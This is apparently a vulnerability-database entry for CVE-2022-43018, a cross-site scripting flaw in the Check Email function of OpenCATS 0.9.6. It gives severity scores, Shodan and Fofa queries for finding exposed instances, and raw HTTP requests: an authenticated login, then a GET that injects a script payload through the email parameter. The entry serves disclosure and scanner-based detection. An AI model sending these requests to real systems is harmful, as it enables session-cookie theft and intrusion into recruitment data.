| Title | OpenCATS 0.9.6 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript through the email parameter in the Check Email function to steal OpenCATS user session cookies and recruitment data. |
| Remediation | Upgrade to a patched version of OpenCATS or apply the necessary security patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.09911 |
| CVE ID | CVE-2022-43018 |
| CWE ID | CWE-79 |
| Shodan Query | title:"OpenCATS"http.title:"opencats" |
| Fofa Query | title="opencats" |
| Tags | cve cve2022 xss opencats authenticated vuln |
OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the email parameter in the Check Email function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=j22enf&password=23ClIR
GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email=</script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-43018.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-43018.pcap
N/AN/A